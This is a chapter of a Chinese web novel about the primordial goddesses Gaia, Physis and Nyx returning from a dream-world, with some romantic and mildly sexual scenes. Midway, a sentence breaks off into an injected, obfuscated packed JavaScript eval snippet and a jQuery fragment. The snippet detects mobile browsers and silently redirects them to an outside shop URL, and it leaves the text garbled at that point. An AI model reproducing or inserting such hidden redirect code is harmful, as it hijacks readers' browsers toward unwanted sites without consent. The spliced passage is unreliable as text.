于记忆的投映世界中游玩几个昼夜后,众原始神所获颇多。
那些来自另一个世界的规则碎片、情感结构、人与万物之间细微的联结方式,在她们的神格深处无声地沉淀下来。
但呆久了,菲希斯也有些无聊。
那些投影中的城市与街巷虽然新奇,但终究不是她真正的归处。
在菲希斯心里,她更认可卡俄斯世界这个赋予了她新生的地方,况且姐姐也在卡俄斯,还有她们的孩子也在等着她们。
再加上收获的那些东西也需要花些时间消化,于是,她侧过头看了一眼身边的盖亚,又看了一眼远处结束游玩后还在翻看自己演绎人生所化投影书卷的倪克斯,轻声说了一句:“姐姐,差不多了我们回去吧,我想回家看看,我们沉睡的太久了。”
盖亚从不会拒绝她的菲希斯,除了想要分离的想法外什么她都会想办法满足,她将菲希斯揽入怀中做出回应:“好,我的菲希斯。”
听到可爱的妹妹这么说,不远处倪克斯也合上书卷,深紫色的眼眸里映着现实中渐暗的天光没说什么挽留的话只是摆了摆手:“确实有点累了,我先在梦中休息会,不过我亲爱的姐妹们,下次再开的时候也要记得叫我哦。”
要不是这个世界的开启需要作为根基的记忆提供者,也就是她亲爱的妹妹菲希斯在才能开启,倪克斯想她大概会一直呆着,反正外边又没有什么事情。
接受了母神留下的神力与命令兢兢业业升起白昼与黑夜都快没时间去找小朋友......们玩的赫墨拉:我觉得有点劳累。
菲希斯点了点头,握住盖亚的手。
梦境在她们身后缓缓合拢。光线从缝隙里渗进来,越来越亮,越来越近。
入目是熟悉的天花板,乳白色的岩石在晨光中泛着温润的暖意。
身侧的床榻微微下陷,盖亚的手臂还环在她腰上,呼吸平稳而绵长。
修普诺斯的神力已经撤去,梦境的余韵像退潮后的水痕,正在一点一点地从神格表面蒸发。
片刻后,盖亚也醒了过来,微微侧过头,目光落在菲希斯脸上,眼底还有一些方才梦境里残留的暖意,像是还没有完全从那些投影中的街巷和灯火里走出来。
随着大地神殿主人们的苏醒,整座神殿所洋溢的神力变得活跃起来。
那些原本安静流淌在石壁与地面缝隙中的金色光芒重新开始缓缓流转,沿着墙壁、窗沿、门扉的轮廓重新奔涌。
居住在神殿内的大地与自然一系子嗣们当然发觉了。
她们正在院子里晒太阳、蹲在溪边看水、倚在廊柱下小声说话,忽然不约而同地抬起了头。
忒堤斯拉了拉最亲近的姐姐俄刻阿诺斯的衣角,仰着脸问:“姐姐,是母神们醒了?”
身形也向少女靠近的俄刻阿诺斯低头看了还是幼年状态的妹妹一眼,微微点了点头,顺手揉了揉妹妹的小脑袋。
这时候也已经有着少女身形的乌瑞亚从石阶上站起身,拍了拍衣摆上的尘土,目光望向神殿深处那扇还紧闭着的房门:“走吧,我们去看看吧。”
只比原些长高了一点的蓬托斯已经先她一步迈开了步子,深蓝色的长发在转身时划出一道弧线,恨不得甩到乌瑞亚身上:“姐姐快点!”
哼,比她高又怎么样还不是没她快。
乌瑞亚轻松看懂妹妹的心思,默不作声快步几下走到了前面,没有回头看蓬托斯鼓起的脸,但嘴角还是憋不住的上扬,连赫墨拉最近来陪她玩的时间不断减少而产生的郁闷都浅了不少。
一众大小神明在乌瑞亚与蓬托斯两位最年长姐姐的带领下,向着母神们休憩的房间走去。
脚步声在走廊里错落地响着,有的快有的慢,步子短的得小跑才能跟上,步子大的偶尔会停下等一等略微有些不爽的姐妹们。
蓬托斯奋力走在了最前面,到了门口也没有直接敲门,只是停住侧耳听了一下里面的动静,试图偷听到什么。
乌瑞亚跟上来站在她身边,也没有出声催促,只是安静地看着妹妹作死。
而此刻房间内,大地之神与自然之神正在打情骂俏。
盖亚眉眼低垂目光虚虚地落在某处又像是有些伤心地望向别处:“我亲爱的菲希斯,与我永伴的自然啊,真的不行吗?”
她的声音带着一种刻意放低的柔软,让人狠不下心。
但菲希斯是神,她正坐在床沿手里还攥着衣带闻言动作微微一顿。抬起头挪动身体试图与盖亚来一场对视,想要用眼神传递自己的坚决。
但盖亚没有迎上她的目光,只是依旧微微偏着头,将视线落向某处,像是被拒绝后视线不知该往哪里放,至少菲希斯眼中是这样。
那副姿态出现在一位古老而强大的原始神身上,带着一种近乎刻意的柔弱,让人几乎要忘记她平时有多稳重。
“我最爱的姐姐。”
想到什么,菲希斯的脸上带着几分窘迫的红晕,“真的不可以!那样很令神羞涩的。”
她深吸一口气,像是要把那股窘迫压下去,“妈妈、母......什么的,怎么能那样称呼?姐姐,你是我的姐妹,是我的挚爱,那样的称呼是乱来。”
虽然听到了菲希斯如表白一般的话语,但想要达成目的的盖亚依旧没有看她,只是保持着那个微微偏头的姿态拒绝对视。
菲希斯的耳根越来越红,那些在梦中演绎里被唤过无数次的称呼此刻在现实里被重新提起,让她觉得比在梦中时烫了许多。
她就不应该答应姐姐在游戏里进行那些相关的演绎。
都让姐姐变得好奇怪了。
那些身份、那些称呼,明明只是游戏里的事,现在却被盖亚带到了现实里。
双方对峙许久。
盖亚依旧没有看向菲希斯,只是沉默地坐在那里,那种沉默比任何言语都更能让菲希斯心软。菲希斯咬了咬下唇,那份坚持在盖亚的沉默和回避中一点一点地松动。
她深吸了一口气,伸出手将盖亚轻轻抱住,妥协般侧过头在她额侧落下一个吻。
“姐姐......”
她的声音软了一些,带着几分无奈,“这样的称呼只能在那个游戏世界里。”
菲希斯低头看了一眼姐姐的侧脸,她感觉到环在自己腰间的手微微收紧了一点。她知道姐姐也选择退一步,于是,心软的菲希斯再次吻向她的爱人。
实际上,享受着服侍的盖亚在菲希斯低头埋首的那一刻,终于将隐藏的表情显露了出来,那是得逞与欢喜
她的唇角弯了一个极浅的弧度。
她从来都知道,让菲希斯在现实里接受那个称呼本就不太可能,那不是她的真正目的。
在那投映的世界中得到再一次演绎她想要的身份
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815975|209036||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,才是最终目的。
不管是为了世界的完善,还是为了强大自身,她们还是会多次开启以记忆为基础的那个世界游戏。
她从来争取的就是在那个世界的机会。
她可爱的、挚爱的菲希斯,真是令神欢喜,那么单纯。
但这份单纯只对着她就够了,其它什么野神、野人都不配。
满室旖旎,云雨初歇。
窗外的天光已经从夜色过渡到白昼。
菲希斯靠在盖亚那如大地般可靠而丰腴的身体上,被环住腰身,她侧过头脸颊贴着盖亚的肩窝,感受着那些还未完全平复的余韵在神格深处缓缓沉淀。
盖亚的手有一下没一下地顺着她的背脊轻轻抚过,没有要松开的意思,也没有急着开口。
门外传来细微的声响,有脚步声,有衣料摩擦的窸窣,像是有人在走廊里等待,又像是有人正把耳朵贴在门缝上偷听。
盖亚微微偏过头,目光落在那扇紧闭的房门上,她感受着门外那些属于她们子嗣的神力气息,尤其是还没放弃那蓝色神力。
蓬托斯:我就不行信了,母神们到底在干什么?
其她姐妹:默默看着妹妹/姐姐。
盖亚犹豫了一瞬,思考着是否要分出给她们的孩子一些时间。
母性终究还是占了上风。
那些孩子还在外面等着,她不可能真的把她们晾在门外太久。
慈母心勉强升起的盖亚收回了落在房门上的目光,微微侧过头,将唇贴近菲希斯的耳侧,声音低低的,带着还未完全散尽的沙哑:“孩子们在外面等了有一会儿了。”
菲希斯的眼睫动了一下,碧色的眼眸里还带着几分未散的慵懒,她安静地用神力感知了一下门外的动静坐起身来,衣料从肩头滑落又拢住。
有大地身边,自然从不会管太多。
菲希斯向来自由自在,在梦中的时候想怎么玩就怎么玩,回到现实也不爱插手琐事。
但一听到门外孩子们似乎有急事,想到自己与姐姐在梦中不知沉迷了多久,那些个更有责任心的念头便浮了上来。
她伸手拢了拢衣襟,动作比刚才快了几分:“那得快些出去。”
盖亚遗憾地顺应了她,只是起身穿衣时指尖不经意地从她肩侧滑过,在系带处多停留了一拍,又若无其事地收回去。
菲希斯被那动作惹得轻轻按了一下她的手背,带着一点嗔怪:“姐姐。”
盖亚面不改色地收回手。
百试不厌。
等她们穿戴整齐,推开房门。走廊里白昼的光芒已经铺满了整条通道。
十四道身影正等在门外的走廊两侧。
乌瑞亚和蓬托斯站在最前面,乌瑞亚的目光在两位母神身上停了一下,从菲希斯微红的耳根到盖亚那一副餍足的、慵懒的姿态。
已经长大的乌瑞亚了解的更清楚了。
即使从门上收回耳朵的蓬托斯碧蓝色的眼眸心虚的在母神之间来回扫了一圈,发现没事,刚想笑就被乌瑞亚轻轻碰了一下手肘。
母神们看起来这些日子过得非常不错。
这个念头在乌瑞亚心里转过。
她往旁边让了让,给两位母神让出一条通路:“大母神,小母神,早上好。”
菲希斯站在门口,走廊的风从她身侧穿过来,带着泥土和青草的气味。